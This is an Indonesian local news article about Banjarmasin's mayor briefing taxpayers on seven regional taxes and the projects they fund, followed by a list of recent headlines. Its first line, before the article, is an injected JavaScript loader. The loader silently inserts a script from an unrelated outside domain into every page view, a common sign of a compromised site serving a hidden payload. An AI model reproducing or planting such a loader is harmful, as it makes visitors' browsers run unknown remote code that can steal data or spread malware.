(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perlu Dukungan Sektor Swasta, Ibnu Sina Sosialisasi 7 Jenis Pajak Daerah


BANJARMASIN, Sesuai UU tentang Pajak Daerah dan Retribusi Daerah serta beberapa Perda Kota Banjarmasin yang mengatur tentang pajak daerah, Pemko Banjarmasin diberikan kewenangan untuk memungut 7 jenis pajak. Pajak tersebut diantaranya, pajak tentang hotel, pajak restauran, pajak hiburan, pajak bumi dan bangunan, pajak reklame, pajak penerangan jalan dan BPHTB perolehan hak tanah dan bangunan.

“Saya harap kepada para wajib pajak dapat mengetahui informasi tersebut, baik jenis, dasar-dasar pengenaan tarif, dan cara perhitungannya, kemudian masa pajaknya, termasuk juga pemahaman tentang petunjuk pelaksanaan pemungutan serta kewajiban membayar pajak tepat waktu dengan didukung laporan pajak yang handal,” ujar Walikota Ibnu Sina saat menyampaikan sambutannya dalam kegiatan Sosialisasi Pajak Daerah di Hotel Golden Tulip Banjarmasin, Jumat (8/2).

Menurutnya, kegiatan sosialisasi tersebut bertujuan agar tidak terjadi kekeliruan dan kesalahpahaman semua pihak dalam menyikapi pungutan pajak daerah tersebut. Karena itu ia berharap kegiatan sosialisasi tersebut bisa dilaksanakan secara berkesinambungan minimal 2 kali dalam 1 tahun. “Ini yang pertama di tahun 2019. Insyaallah di pertengahan tahun akan ada sekali lagi sosialisasi untuk sekaligus bertujuan untuk evaluasi,” jelasnya.

Dengan tertibnya pembayaran pajak daerah oleh wajib pajak, terangnya lagi, maka pembangunan di kota berslogan Kayuh Baimbai ini akan terlaksana secara berkeseinambungan.

Pada kesempatan tersebut, Walikota Banjarmasin ini juga menjelaskan tentang penggunaan anggaran yang didapatkan dari hasil pemungutan pajak. Katanya, pajak daerah itu dipergunakan Pemko Banjarmasin untuk melakukan pembenahan kota seperti membangun berbagai infrastruktur yangdapat dinikmati oleh seluruh lapisan masyarakat.

“Dengan pajak ini lah kita bisa membangun Kota Banjarmasin. Masih banyak insfratuktur insfratuktur lain yang harus kita penuhi. Rumah sakit gedung ketiganya akan kita selesaikan tahun ini, anggarannya juga cukup besar masih sekira Rp 70 miliar, kemudian penyelesaian trotoar sepanjang Jalan A Yani yang saat ini baru dapat 2 km di kiri dan kanannya,” bebernya.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

1 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

2 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

2 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

2 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

3 jam ago

This website uses cookies.